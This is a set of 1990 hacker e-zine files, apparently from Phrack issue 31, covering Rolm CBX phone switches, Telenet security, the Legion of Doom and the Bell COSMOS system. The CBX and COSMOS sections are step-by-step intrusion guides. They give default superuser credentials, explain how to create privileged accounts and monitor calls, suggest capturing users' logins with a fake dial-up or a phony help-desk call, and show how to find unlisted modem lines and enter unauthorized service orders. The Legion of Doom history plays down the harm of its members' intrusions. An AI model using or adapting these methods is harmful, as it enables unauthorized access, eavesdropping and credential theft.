The following is a checklist to determine if the target location could have a CBXxx for controlling their switch. By no means however, if your target location has all of the following it could have a CBXxx. 1) Does the location handle it's own switch? If so, what kind, and who services it.

2) Does IBM Rolm handle any aspect of their telecommunications department?

If so, this is a possible CBXxx location.

3) Does the location have Rolm Phone‑Mail?

These three guidelines are not requirements. I.E. ‑‑ The location could have a non‑IBM PBX but still have a CBXxx for handling the switch. So who knows.. It's up to you and your bullshitting and scans. Hacking the CBXxx's

‑‑‑‑‑‑‑ ‑‑‑ ‑‑‑‑‑‑‑

Well, once you have obtained the dial‑ups, you are almost halfway there. Hacking the CBX is the easy part. 1st off, IBM Rolm ships *ALL* of their machines with a default account (Yes, and they never change it). When the destination of the CBX recieves the machine, they use the default to create other accounts for employees, PBX operators, and administration. Rolm IBM also has a field support account embedded in the machine. These are different to each location and correspond to the serial number of the machine (Rolm's accounts can be obtained from Rolm's 800 technical support line). So, now that we know that there is a default account that telecom department uses to setup the other accounts after they recieve the machine, tells us that this is a priviledge account. And it is. USERNAME: SU

PASSWORD: SUPER

How nice for them to give us such power. Yes, it's a basic default with SuperUser priviledge. If for some reason the account default has been changed, their are other ways of getting in:

1) Call Rolm and get the Field account information. 2) Try first names of Telecom Dept. employees, and PBX Operators. 3) Use every Hacking skills you have (If any). Some older versions of CBX don't even require logging in with an account. Those versions are less responsive to the administrators needs, but can be useful to one also. Don't be discouraged if the SU password is changed, just call Rolm and get the field account.

The following is the matrix before one access the machine. *Note that it clearly identifies* *Also: Accessible at 300 baud and e,7,1*

CONNECT ID banner

_Release version # /

/ /\

Rolm CBXII RELEASE 9004.0.65 RB74UCLA11956

BIND DATE: 8/SEP/88 \

YOU HAVE ENTERED NODE 1, CPU 2 \_Name of owner, IE: UCLA 11:14:30 ON FRIDAY 2/11/1990 (System ID)

USERNAME: xxx

PASSWORD: xxx

INVALID USERNAME‑PASSWORD PAIR.

Once your in

‑‑‑‑ ‑‑‑‑ ‑‑

Once your in, you should have no problems wondering around the machine and using the utilities in the machine's operating system. There is very specific help functions inside the machine that will guide you through with no problems. At the CBX prompt:

%. HELP ?

or

%. ?

Should produce a valid listing of options and sub‑functions. Every function can be followed with a '?' to give lists of valid sub‑functions under that function or how the syntax of that function should be used. The following is a listing of commands for CBXII/9000: ABORT ACTIVATE ATTR BYE CANCEL CARD CDRSM CDT CHANGE CHG CLEAR CLR CMPCT CMSTS CNCL CNFG CONVERT COPY CPEG CTMON CTRA CTRTL CXCLR COPY CXCLR CXCON CXNET DACK DADD DAEVT DANS DBDMP DCAT DCF DCOM DDMA DDQ DDT DE DEACTIVATE DEFINE DELETE DEMOUNT DESUM DEX DFACK DFCOM DFEAT DFEVT DHTQ DHWS DIAG DIQ DISABLE DIWQ DKQ

DML DMNT DMS DMTST DOWN DPATR DPMR DPMS DPPRI DPTR DQQ DRCT DREGS DSBLE DSQ DSST DSTAK DTCB DTDQ DWQ DX_TR ENABLE ENB ENBLE ETIO EX EXM EXN

EXP EXPAND FINIT FORMAT FREER FSD GTOD HDBST HELP INSTALL KPFA LCT LIST LOAD LOGOFF LOGON LPEG LPKT LSCT LSL

LST LTCB MNT MONITOR MOUNT MTRACE NEXT NSTAT PAGE PCNFG PDIO PFA PKTS PLIST PLTT PPFA

PS PSH QAT QITM QTEST RCT RECEIVE RENAME REPLY RESTART RESTORE REVERSE RM RMOFF RPFA RSC RSCLK RSTOR RSTRT SAT SCAN SEND SET SHOW SITM SOCON SOUNC SSAT START STATE STATUS STEST STOD STOP STRT STS TDCD TEST TKSTS TRTL TST TX UNLK UNLOCK UP VERIFY XDEF XMIT XPND

These commands can be executed from and '% ' prompt. If the command is followed by a '?', more information will be supplied about the command. Using the ICI

‑‑‑‑‑ ‑‑‑ ‑‑‑

The Interactive Configuration Interface controls immediate changes in the switch and PBX environment. The Utility is explained in great detail through the actual running of it. You can access the ICI by typing: % CNFG

CBXII/9000

INTERACTIVE CONFIGURATION INTERFACE CPU 2

15:14:32 ON FRIDAY 5/02/1990

COMMAND:

This is the main command prompt. From here you can exercise the '?' help list to get valid commands. There are four phases of the ICI utility: Modify, Create, List, and Delete. These can be used on Extentions, Trunks, Logon accounts, Feature Group sequences, Data_line access, Trunk Groups, ect. The following is a sample of using 'list' to list a current extention in the PBX:

_Forward to EXTN 2000

COMMAND: LIST EXT 4038 / _Outside number

/ FORWARD ON / to forward to

FORWARDING BSY RNA DND /

EXTN TYPE COS TARGET1 TARGET2 I E I E I E RINGDOWN NAME

‑‑‑‑ ‑‑‑‑ ‑‑‑ ‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑

DS 4038 EXTN 56 2000 1 1 1 1 1 1 95551212 R.STABELL

\ \ \

Extention / ‑Class of service if R Auto. Forward Owner of ‑‑Type of line BUSY I No Matter What EXTN. (Reg. Extention) N

G

Note: The 1's specifies to forward to target#1 & NO ANSWER (As 2's would mean forward to #2 target)

This should detail how to modify a listing like above using the 'MODIFY' command in the ICI. Once modified, all transactions are processed immediately. Using the 'Delete' command one can delete extentions, trunks, ect. So now we have the following commands in ICI: MODIFY, DELETE, LIST, CREATE. Each can be used with the following "Nouns" to modify that "Noun": BUTTON_120 BUTTON_240 CDR_EXCLUDE CNFG_ERRORS CNFG_QUEUE CNFG_STATUS CNFG_USERS COM_GROUP COS_FEAT DATA_ACCESS DATA_DEVICE DATA_GROUP DATA_LINE DATA_SUBMUX DLI ETS EXTEN FAC FAC_TYPE FAMILY FEAT_CODE FIRST_DIGIT HD_GROUP LEX LOGON_PROFILE MAP MEM_PARTS PARAM PICK POWER Q_TYPE ROUTE_LIST RP RPD RPI RPS_120S_ON RPS_240S_ON SAT_NAME SEARCH_SEQ SECTION SECURITY_GROUP SERVICE_LIST SIO_PARTS SLI SPEED T1D3 T1D3_GRP TRUNK TRUNK_GROUP VPC

The FAMILY, LOGON_PROFILE, and CNFG_USER all deal with the accounts on the system. One can use MODFIY or CREATE to set them up an account with SU access. The FAMILY noun is the listing of the groups with different access, to different "nouns" available. I.E.: Not everyone can access the CHANGE LOGON_PROFILE to create an account.

To create an account with SU access, type (while in ICI):

% CREATE LOGON_PROFILE

ENTER NAME (1‑12 CHAR): TEST

ENTER PASSWORD: TEST

RETYPE: TEST

Next it will ask you for a family. For SU access, type "SYSTEM_ADMIN". After family, the machine should prompt you for a "verb". Verbs are the actual functions or commands, so in this environment you can set the commands a user can access. So, for SU, enter "ALL" for every command access. To get a valid listing of users online, try this:

% LIST CNFG_USERS

NUMBER OF USERS MAX NUMBER OF USERS

3 5

PORT USER_NAME START_TIME HOW_LONG

17 SU 17:47:57 0:28:34

2 FIELD 18:16:03 0:0:28

3 MARYB 18:16:03 0:10:03

Using the Monitoring Utility

‑‑‑‑‑ ‑‑‑ ‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑

This command is one of the more powerful commands in the CBXxx system. The monitor command should be invoked from within the main function command level and not in the ICI level. The monitoring command allows you to actually watch or monitor TRUNKS and EXTENTIONS. So, if I were to type:

% MONITOR EXT 4038

10:02:43 ON FRIDAY MAY/02/1990

EXT# STATE DI CODE DIGITS PROCESS STATUS

‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ ‑‑ ‑‑‑‑ ‑‑‑‑‑‑

4038 IDLE STN FWD NUM FWD

\ \

Extention Not in use Standard \ / Forwarded

Extention \ /

Forwarded to

a number

This shows the extention to be IDLE and not in use. But, with forwarded call processes to a standard number. You would have to use ICI to look up the number it's forwarded to if you wanted.

% MONITOR EXT 4038

10:03:44 ON FRIDAY MAY/11/1990

EXT# STATE DI CODE DIGITS PROCESS STATUS

‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑ ‑‑ ‑‑‑‑ ‑‑‑‑‑‑

4038 DIAL TONE STN FWD NUM FWD

4038 DIALING Y 9 / \ \ \

4038 DIALING Y 92 S F N \Extention 4038 DIALING Y 923 t o u Forwarded 4038 DIALING Y 9233 a N r m

4038 DIALING Y 92334 n u w b 4038 DIALING Y 923345 d m a e 4038 DIALING Y 9233456 a b r r 4038 DIALING Y 92334564 r e d

4038 CONN T025N N \ d r e

/ \ / d

\ \ \_Dialing NO \_Number dialed \_Extention \

Connected to

Outside trunk T025N

This monitoring shows the extention actually dialing the number, and then connecting to an outside truck. Unfortunatley, one we cannot monitor without access to a bell switch.

Monitoring can also be done with trunks. I will not display any trunk monitoring since it is quite simple to decypher.

Manipulating the switch

‑‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑ ‑‑‑‑‑‑

There are many ways you can manipulate the CBX's to gain accounting information on data lines within the PBX environment. One sure‑fire method would be to forward an actual data dial‑up extention to a bridge or loop and then write an emulation to intercept the user's account information real‑time as they connect to your fake dial‑up.

Or perhaps if an university uses the CBX, one could maybe forward the computer help desk extention to a bridge or loop and as an unsuspecting user calls up, ask him what machine and account info he has access to for a help log sheet you are taking.

Who cares. Who knows. There are thousands of things you can do to use the CBX to your advantage. Hell, you have the whole switch at your command. DH ‑ 05/11/90

TAMS & Telenet Security

==Phrack Inc.==

Volume Three, Issue Thirty‑one, Phile #4 of 10 / Everything you always wanted to know.. \ / about Telenet Security, But were to stupid to find out. \ By Phreak_Accident

Ever since the early 80's GTE Telenet has been expanding their public packet switching system to hold enormous amounts of users. Currently GTE SprintNet (Yes, Telenet is out, SprintNet is in.) has over 300 nodes in the United States and over 70 other nodes abroad. SprintNet provides private X.25 networks for larger companies that may have the need. These private networks are all based on SprintNet's 3270 Dedicated Access Facility which is currently operating for public use, Hence for the major security SprintNet has aquired.

SprintNet's security department is a common idea of what any large public packet network should be. With their home office located in Virgina (703), most Hacker's who run into trouble with them would wind up talking to Steve Mathews (Not the head of security but a prime force against the major attacks Sprintnet recieves from Hackers anually.), who is a very intelligable security analysist that deals with this type of problem daily. Because of Steve's awarness on Hackers invading "His" system (As most security personnel refer to the system's they work for as their own.), He often does log into Bulletin Boards accross the country looking for SprintNet related contraband. At the time of this article, Steve is running an investigation on "Dr. Dissector's" NUAA program. (NUA attacker is a SprintNet NUA scanner.) Besides this investigation, he currently stays in contact with many Hackers in the United States and Abroad. It seems Steve recieves many calls a month from selected Hackers that have interests in the Security of SprintNet. Wow. Who the Hell would want to call this guy. From many observations of Steve Mathews, I find him to in deed be the type to feel a bit scared of Hackers. Of course, his fright is really quite common amoung security personnel since most fear for their systems as well as themselves. (Past experiences have showed them not to take Hackers lightly, Hence they have more contacts then 60 rolodex's put together.)

For now, let's forget Steve Mathews. He's not important an important influence in this article. Trying to pin a one‑person in a security department that handles security is like finding a someone on a pirate board that doesn't use the word "C0DE" in their daily vocabulary. Telenet's main form of security lies in their security software called TAMS (Telenet Access Manager System). The TAMS computers are located in Restin, Virginia but are accessable throughout the network. Mostly, the main functions of TAMS are to:

* Check to see if the NUI/Password entered is a valid one. * Check to see if the Host has list of NUI's that can access that host. If another NUI is used, a Rejection occurs. * Processes SprintNet's CDR (Call Detail Recording), which includes Source and Destination, Time of call, Volumes of data recieved, and the Total time of the call. * Can be used by host to add an optional "ALPHA" NUA for "easy" access.

* Can secure Hosts further by adding an NUA security password. * Restricts calls without an NUI for billing (I.E. No collect calls to be processed).

* Accepts all calls to host as a prepaid call (I.E. Accepts all calls).

TAMS is really for the handling of NUI and corresponding NUA's, therefore being a security concept. TAMS holds all the data of NUI's and restricting NUAS for the ENTIRE network. If one could gain the access to TAMS, one could have the entire network at his/her disposal. This of course if highly impossible to SprintNet's security department, but not for a couple of hackers I have ran into. Yes, TAMS is quite interesting.

In other aspects of SprintNet security, lets focus on the actual X.25 software that they use. Anybody who tells you that Telenet can monitor the sessions currently taking place on THEIR network is WRONG (And probably very stupid as well). Monitoring is a basic feature of all X.25 networks, whether it's a little PeeShooter network or not, they can and do monitor sessions. Of course their are far to many calls being placed on SprintNet to be monitored, but a scared host can always request a full CDR to be put on their address to record all sessions comming in on that NUA. Such as the many recorded sessions of the ALTOS chat(s) in Germany that was a hot‑spot for many Hackers across the United States and Abroad. After the detection of ALTOS, through the hundereds of illegally used NUIs, CDR's and direct host monitoring were used on the ALTOS hosts. As far as prosecutions concern, I doubt their were any.

Now, as far as other security software on SprintNet, they have a call tracking service that is called AUTOTRAIL. Basically, AUTOTRAIL traces the connections through the DNIC's and back to the orginating NUI and/or NODE location that placed the call.

AUTOTRAIL has nothing to do with ANI. Not at all. In fact, the many dialups that lead into SprintNet's PDM gateway do NOT have any type of ANI. That is basically a telephony problem. ALthough I would think twice about messing with a dialup that is run on a GTE carrier. That's up to you though. Another aspect of security in which Telenet offers is an ASCII tape that can be obtained by a host customer, which contains all CDR information of any connection to that host for the last week/month/year. So, it is obvious to say that SprintNet does have a hudge database of all CDRs. Yes, another point: This database is located in the TAMS computer. Hmm, ahh.. Wouldn't that be neat.

:PA

The history of The Legion Of Doom

==Phrack Inc.==

Volume Three, Issue Thirty‑one, Phile #5 of 10

The History of The Legion Of Doom

‑‑‑ ‑‑‑‑‑‑‑ ‑‑ ‑‑‑ ‑‑‑‑‑‑ ‑‑ ‑‑‑‑

During the summer of 1984 an idea was formulated that would ultimately change the face of the computer underground forever. This particular summer, a huge surge of interest in computer telecommunications placed an incredibly large number of new enthusiasts on the national computer scene. This crowd of people all seeking to learn as much as possible began to put a strain on the nation's bulletin board scene, as the novices stormed the phonelines in search of knowledge. From out of this chaos came a need for learned instructors to help pass on their store of information to the new throngs.

One of the most popular bulletin boards of the day was a system in New York state called Plovernet, which was run by a person who called himself Quasi‑Moto. This BBS was so heavily trafficked, that a major long distance company began blocking all calls to its number (516‑935‑2481). The co‑sysop of Plovernet was a person known as Lex Luthor. At the time there were a few hacking groups in existence, such as Fargo‑4A and Knights of Shadow. Lex was admitted into KOS in early 1984, but after making a few suggestions about new members, and having them rejected, Lex decided to put up an invitation only BBS and to start forming a new group. Starting around May of 1984, Lex began to contact those people who he had seen on BBSes such as Plovernet and the people that he knew personally who possessed the kind of superior knowledge that the group he envisioned should have. Many phone calls and Alliance Teleconferences later, the group of individuals who made up the original Legion of Doom were compiled. They were:

Lex Luthor

Karl Marx

Mark Tabas

Agrajag the Prolonged

King Blotto

Blue Archer

EBA

The Dragyn

Unknown Soldier

The group originally consisted of two parts: Legion of Doom, and Legion of Hackers. The latter was a sub‑group of the first, comprised of people who were more advanced in computer related subjects. Later on, as members began to all become more computer‑based, the Legion of Hackers was absolved. (The name "Legion of Doom" came from the cartoon series "Superfriends," in which Lex Luthor, Superman's arch rival, led a group by the same name)

The actual Legion of Doom bulletin board was quite ahead of its time. It was one of the first "Invitation‑only" hacking based BBSes; it was the first BBS with security that caused the system to remain idle until a primary password was entered; and it was the first hacking BBS to deal with many subjects in close detail, such as trashing and social engineering. The BBS underwent three number changes and three different login procedures during its life. At its height, the BBS had over 150 users and averaged about 15 posts per day. This may seem high when compared to contemporary BBSes, but this was a private system, with only very‑competent users, so the quality of messages content was always high.

There was always some confusion that falsely assumed since someone was on the LOD BBS, that they were a member of the group. In fact, only a handful of the total LOD membership were ever on the actual LOD BBS.

The Legion of Doom also had special subboards created for its members on other BBSes after the home base BBS went offline. The first was on Blottoland, the next on Catch‑22, followed by one on the Phoenix Project, and the last on Black Ice Private. The group's members have usually tried to keep a low profile publicly, and usually limited their trade of information to select private BBSes and personal telephone conversations. This adherence to privacy has always added to the LOD mistique. Since most people didn't know exactly what the group was involved in, or experimenting with, people always assumed that it was something far too detailed or sensitive to be discussed. For the most part, this was not true, but it did not help to diminish the paranoia of security personnel that LOD was after their company's systems.

The group has undergone three distinct phases, each a result of membership changes. The first phase ended with the busts of Marx, Tabas, Steve Dahl, Randy Smith, X‑man, and the abandonment by Agrajag and King Blotto. The group lay semi‑dormant for several months, until a resurgence in the summer of 1986, in which several new members were admitted, and a new surge of would‑be hackers appeared, ready to be tutored. This phase again ended in a series of busts and paranoia. The third phase basically revolved around Summercon of 1988, where several new members were admitted by those LOD members attending the festivites. The third phase is now at an end brought on by busts and related paranoia, again, two years after its onset. There is no indication that points to any resurgence in the future, but nothing is certain until summer.

Since its creation, LOD has tried to put out informative files on a wide variety of topics of interest to its contemporaries. These files ranged from the first actual scanned directory of Telenet, to files on various operating systems. The LOD Technical Journal was to be a semi‑regular electronic magazine comprised of such files, and other items of interest to the hacking community. Only three issues of the Technical Journal were produced. As the fourth issue was being pieced together, several members were raided, and work on it was abandoned.

>From the time it was formed continuing up to the present, the Legion of Doom has been quite a topic of controversy in the computer underground and with computer security professionals. The Legion of Doom has been called everything from "Organized Crime" to "a Communist threat to national security" to "an international conspiracy of computer terrorists bent on destroying the nation's 911 service." Nothing comes closer to the actual truth than "bored adolescents with too much spare time." LOD members may have entered into systems numbering in the tens of thousands, they may have peeped into credit histories, they may have monitored telephone calls, they may have snooped into files and buffered interesting text, they may still have total control over entire computer networks; but, what damage have they done? None, with the exception of unpaid use of CPU time and network access charges. What personal gains have any members made? None, with the exception of three instances of credit fraud that were instigated by three separate greedy individuals, without group knowledge.

The Legion of Doom will long be remembered in the computer underground as an innovative and pioneering force, that consistently raised the collective level of knowledge, and provided many answers to questions ranging from the workings of the telephone system to the structure of computer operating systems. No other group dedicated to the persuit of computer and telecommunications knowledge has survived longer, and none probably will. The Legion of Doom 1984‑‑1990

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Alumni of the Fraternal Order of the Legion of Doom (Lambda Omega Delta) Handle Entered Exited Location Reasons for leaving

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Lex Luthor Early 84‑‑ Florida

Karl Marx Early 84‑‑Late 85 Colorado Bust w/Tabas..College Mark Tabas Early 84‑‑Late 85 Colorado Too numerous to list Agrajag the Prolonged Early‑84‑‑Late 85 California Loss of Interest King Blotto Early 84‑‑Late 85 Ohio College Blue Archer Early 84‑‑Late 87 Texas College EBA Early 84‑‑ Texas

The Dragyn Early 84‑‑Late 86 Minnesota Loss of Interest Unknown Soldier Early 84‑‑Early 85 Florida Bust‑Toll Fraud Sharp Razor Late 84‑‑Early 86 New Jersey Bust‑Compuserve Abuse Sir Francis Drake Late 84‑‑Early 86 California Loss of Interest Paul Muad'dib Late 84‑‑Early 86 New York Modem Broke Phucked Agent 04 Late 84‑‑Late 87 California College X‑Man Late 84‑‑Mid 85 New York Bust‑Blue Boxing Randy Smith Late 84‑‑Mid 85 Missouri Bust‑Credit Fraud Steve Dahl Early 85‑‑Early 86 Illinois Bust‑Credit Fraud The Warlock Early 85‑‑Early 86 Florida Loss of Interest Terminal Man Early 85‑‑Late 85 Massachusetts Expelled from Group Dr. Who Early 85‑‑Late 89 Massachusetts Several Reasons The Videosmith Early 86‑‑Late 87 Pennsylvania Paranoia Kerrang Kahn Early 86‑‑Mid 89 London, UK Loss of Interest Gary Seven Early 86‑‑Mid 88 Florida Loss of Interest The Marauder Early 86‑‑Mid 89 Connecticut Loss of Interest Silver Spy Late 86‑‑Late 87 Massachusettts College Bill from RNOC Early 87‑‑Late 87 New York Bust‑Hacking The Leftist Mid 87‑‑Late 89 Georgia Bust‑Hacking Phantom Phreaker Mid 87‑‑ Illinois

Doom Prophet Mid 87‑‑ Illinois

Jester Sluggo Mid 87‑‑ North Dakota

Carrier Culprit Mid 87‑‑Mid 88 Pennsylvania Loss of Interest Master of Impact Mid 87‑‑Mid 88 California Loss of Interest Thomas Covenant Early 88‑‑Early 90 New York Bust‑Hacking The Mentor Mid 88‑‑Early 90 Texas Retired Necron 99 Mid 88‑‑Late 89 Georgia Bust‑Hacking Control C Mid 88‑‑Early 90 Michigan

Prime Suspect Mid 88‑‑ New York

The Prophet Mid 88‑‑Late 89 Georgia Bust‑Hacking Phiber Optik Early 89‑‑Early 90 New York Bust‑Hacking ** AKA **

Randy Smith Poof!

Dr. Who Skinny Puppy

Kerrang Kahn Red Eye

Phantom Phreaker ANI Failure / Psychedelic Ranger

Doom Prophet Trouble Verify

Thomas Covenant Sigmund Fraud / Pumpkin Pete

Necron 99 The Urvile

Control C Phase Jitter

Cosmos Overview

==Phrack Inc.==

Volume Three, Issue Thirty‑one, Phile #6 of 10

L OO DD L O O D D LLL OO DD PRESENTS

****************************************

****************************************

***

*** TTT H H EEE *** *** T H H E *** *** T HHH EEE *** *** T H H E *** *** T H H EEE ***

***

***

*** DD EEE FFF III N N III TTT III V V EEE *** *** D D E F I NN N I T I V V E *** *** D D EEE FFF I N NN I T I V V EEE *** *** D D E F I N NN I T I V V E *** *** DD EEE F III N N III T III V EEE ***

***

***

*** CCCC OOO SS M M OOO SS *** *** C O O S S MM MM O O S S *** *** C O O S M M M O O S *** *** C O O S S M M M O O S S *** *** CCCC OOO SS M M OOO SS ***

***

***

****************************************

****************************************

BY ERIK BLOODAXE

PRELUDE

In the past, many files have been written about COSMOS. I have always been rather disappointed in their quality and in their presentation, so I have taken on the responsibility of doing one myself. This should sum up COSMOS for everyone who reads it. It contains formats for very useful commands, an entire transaction list, COSMOS "tricks", and a list of all COSMOS abbreviations and their formats.

========================================

INTRODUCTION

Bell Labs COmputer System for Mainframe OperationS (COSMOS)

is basically just a database for maintaining records of equipment and other line information and generating reports

on that information. The system is usually set up on a DEC

PDP 11/45 or 11/70.

The main responsibilities of the COSMOS system are: Maintaining records

Issuing reports

Processing service and work orders Assigning telephone numbers

Load balancing for switching computers Output of ESS recent change information

LOGGING ON

When connecting to COSMOS the system will respond with:

;Login: or LOGIN:

at which point you enter a username. The system will then prompt:

PASSWORD:

at which point you enter the password for that username. Finally, the system will prompt:

WC?

which asks you to enter the wire center for the exchange you will be using in your work. After successfully completing

the login sequence you will be given the system prompt which will be the two letter id of the wire center you entered and a percent sign: "WC% "

To log off at this or at any point you can type control‑y.

One of the major flaws in COSMOS security is that unless a control‑y is received the terminal is not logged out, even if the user disconnects. Many times when you connect to COSMOS, you will be dropped right into the "WC% " prompt. This even happens on major BOC packet networks quite often. If you are lucky enough to receive a 'WC#' prompt you have access to the COSNIX shell, and can issue various unix‑like commands, like

ls, cd, cat, et cetera.

COSMOS usernames are usually issued as two letters corresponding to whatever center will be using that account, and two numbers.

EX: LA01

Using the above example "LA01" there will most probably be numerous "LA" accounts, possibly "LA01" through "LA15" or higher. This is true for most COSMOS usernames. More often than not, all accounts used by the same center will have the same password as well. Some common usernames and their owners are:

ROOT System Manager

SYS System Manager

ML Loop Assignment

LA Loop Assignment

DN Main Distributing Frame

IN Repair Service

RS Repair Service

CE LNAC

LK Account to execute INQuiries only JA Mizar

WLI Work Load Indicator

Usernames may vary from BOC to BOC, but these are fairly standard.

========================================

COSMOS TRANSACTION COMMANDS

COSMOS commands are three letter acronyms. I will explain in depth the commands I have found most useful, and then list

the remainder. Remember, do not attempt to learn the formats for COSMOS transactions online. You will probably not figure out correct inputs, and will most likely cause problems for the system manager and yourself. Commands are entered in a specific ways. The command desired is entered at the WC% prompt. A second string of data is entered at the next line which designates the type of transaction desired. This line is prefixed with on of the following four letters:

H ‑ Header Line

I ‑ In Line

O ‑ Out Line

R ‑ Remark Line

The most commonly used line is the H line. It is a required input in almost all COSMOS transactions. From the second line on, COSMOS will prompt with an underscore "_" as the system prompt, to let the user know that it is waiting for input. When all needed data has been entered, the command is executed by typing a "." at the beginning of a new line. If you wish to process a command, but stay in command level in order to process further commands after the one you are currently entering has finished, a ";" can be entered at the beginning of a new line. To cancel the transaction you are entering, a "Q" should be entered at the beginning of a new line. To interrupt output, the break character is "^C". When entering criteria, you may enter all like data (all H‑line, all I‑line, etc...) on one line using a "/" between input prefixes: EX: H TN 222‑0000,222‑9999/RMKT SWBT?/US 1FB

is the same as entering:

H TN 222‑0000,222‑9999

_H RMKT SWBT?

_H US 1FB

One of the most commonly used commands is INQ (Complete

Circuit Inquiry). There is also a short form of INQ called

ISH. This command requires only the use of H lines. Multiple H lines can be entered to narrow a search or to print multiple reports. Valid H line facilities used are:

BL Bridge Lifter

CON Concentrator

CP Cable Pair

CKID Circuit ID

MR Message Register

OE Office Equipment Number

PL Private Line Circuit Number TK Trunk Cable and Pair Number TN Telephone Number

TP Tie Pair

XN "X" Number

TRE Transmission Equipment

TER Terminal Number

GP Group Number

ORD Work Order

EX: To print information on telephone number 222‑2222

WC% INQ

H TN 222‑2222

_.

EX: To print information on cable pair 11‑1111

WC% INQ

H CP 11‑1111

_.

INQ will print a full report whatever circuit you examine, while ISH will print a shorter, easier to read report. Below is an actual ISH done on a Telenet node.

CA% ISH

H TN 225‑8004

_.

TN 225‑8004

ST AU DATE 06‑03‑83 HT GP 0‑0081 BTN 225‑8004 TYPE X OE 006‑012‑200

ST WK DATE 03‑04‑86 CS 1FBH US 1BH FEA TNNL LCC TF2

LOC WF12003

TER 0‑0081‑0001

ST WK

RMKG GTE.TELENET

CP 95‑0701

ST WK DATE 01‑24‑86 RZ 13

LOC WF12009

TP 6105‑0910

ST WK DATE 01‑24‑86

LOC F12003

LOC F42001

FROM FAC OE 006‑012‑200 TO FAC TP 6206‑0107

TP 6206‑0107

ST WK DATE 01‑24‑86

LOC F22029

LOC F42002

HUNT SEQUENCE FOR TN 225‑8004

TER 0001‑0040

** ISH COMPLETED 02‑29‑99 12:00

CA%

When you pull an inquiry on a number that you are interested in, you will be given its cable pair, its order number, any numbers that connect to it through a hunt sequence, and you will see any remarks entered about the number. This information can prove to be very valuable. For instance: You suspect that a company has a modem online, yet you don't want to waste time sequentially dialing thousands of numbers. You can simply enter an ISH on the number to get its cable pair, then begin pulling ISH reports on cable pairs close to the main one. Then you need only dial twenty or so numbers that are in the same area as the main number, and you will find the computer.

Another extremely valuable command is SIR (Sorting Inquiry by Range). With SIR, you can print the circuit information on all lines that match specified criteria within a specified range of numbers. This command requires only H line input, but numerous lines may be entered in order to narrow down the search. You may also use the wildcard character ("?") to encompass a larger range when doing a SIR. There are many applications for SIR, but I will only show examples on a few I have found to be most useful.

Many times entries have special remarks entered about the circuit. These are usually entered as RMKT (Remarks on Telephone Number), but they may be entered as RMKO (Remarks on Office Equipment) or RMKP (Remarks on Cable Pair), depending upon what the person entering felt like typing. Most of the time the remarks really don't correspond like they should. Telephone companies are pretty thorough about remarking on a line that they own and they will usually use the RMKT prefix.

EX: To find all telephone company (Southwestern Bell) lines in prefix 222 WC% SIR

H TN 222‑0000,222‑9999

_H RMKT SWBT?

_.

The "?" after SWBT acts as a wildcard. Typing SWB? would perform the same search.

You may also want to search by STT (Telephone number status). Some types of STT are:

AU Auxiliary

NP Non‑published

OF Official (telco owned)

TS Test

Another way to distinguish types of number is by CS (Customer Class of Service). CS values tend to vary from BOC to BOC, but business lines will usually look like "1FB", or at least contain a "B". Residences will usually look like "1FR." Sometimes telco lines are listed as "1OF", but may also be entered as "1FB". On lines in a hunt group, the CS will be appended with the letter "H", as "1FBH".

Let's say a company owns a block on an exchange (333) running from 1000 to 3500. You want to find all possible computer numbers in that area. Chances are good that they are not listed.

EX:

WC% SIR

H TN 333‑1000,333‑3500

_H STT NP

_H CS 1FB

_.

The above would list all non‑published business numbers from 333‑1000 to 333‑3500.

To find all numbers that are translated 800 numbers in the same prefix range as above, you can do the following:

EX:

WC% SIR

H TN 333‑1000,333‑3500

_H PL ?800?

_.

This will prints reports on all private lines registered as 800 numbers. There is also a shorter version of SIR, LTN (List Telephone Numbers), and a more detailed version, GFR (General Facility Report), but I have found SIR to be the better of the three to use for my purposes.

In order to change line attributes, or to create new lines you will need to use two commands SOE (Service Order Entry), and RCP (Recent Change Packager). These two commands are pretty detailed in what they can do, so I will just cover a few of their options.

SOE will allow you to assign a new circuit, and specify the desired telephone number, custom calling features, billing telephone number, etc. SOE requires both "H" and "I" lines of input. The best way to enter a new service order is to have COSMOS pick your new telephone number and assign the needed office equipment number. If you want to pick your own telephone number, the number you pick must have a status (STO) of SP, LI, RS, or PD (with a disconnect date before the due date on your new service order). This is so that you do not try to assign a number that is currently working to your new service order. You can check this by doing an ISH on all the variations of numbers you desire, and checking the STO. You can also get a list of available numbers in a given prefix using the NAI command. You should also do a SIR of recent entries, to try to find the proper format of order numbers, so that you do not reuse one, or make one up that is formatted incorrectly. Another method to make sure that you have the correct formatting of order numbers is to call the phone company and request the installation of a line in the area you are working in. They will tell you your service order number for reference. Later, you can merely cancel the order. You will also have to find a valid cable pair, so do an ISH on whatever number written in your junction box that is not working, and then make sure there is no pending connect orders entered on it.

To enter a service order for a new connection, having COSMOS pick an available telephone number and assign proper office equipment numbers, you would do the following:

EX:

WC% SOE

H ORD SO123456/OT NC/DD DD‑MM‑YY (Use valid Day, Month, Year for Due Date) _I TN ?/US 1FR/FEA TNNL/OE ?/CP XX‑YYYY (Use valid cable pair for XX‑YYYY) _.

You would now need to enter RCP and make a correctly formatted recent change report for the order you entered so RCMAC can pick up the order and directly enter it into the switch. What RCP does is take your order and change it into actual switch programming, using templates that are stored in directories corresponding to what type of switching equipment is used for that WC. (EX: ess5a)

EX: To create a recent change package for the order entered above WC% RCP

H ORD SO123455

_.

Using SOE you can specify custom calling features, you can specify billing telephone numbers, you can establish service as coin, and several other options by adding "I" line information corresponding to that particular option.

_I CCF XXXXXX (XXXXXX is valid custom calling features) _I BTN NNX‑XXXX (NNX‑XXXX is valid billing TN) _I TT C

To get a list of spare (available) telephone numbers in a given prefix, you can use the NAI (Telephone Number Assignment Inquiry) command. You only need enter H line criteria. In addition to searching by prefix (NNX), you can search by switch type (TYP), or rate zone (RTZ).

EX: To select one spare telephone number in 555 and make it reserved status WC% NAI

H TT X/NNX 555/STT RS

_.

You may also have NAI print out several available numbers, however, you cannot change the status unless you are printing one listing.

EX:

WC% NAI

H TT X/NNX 555/LC XX (Where XX is a number between 1 and 25) _.

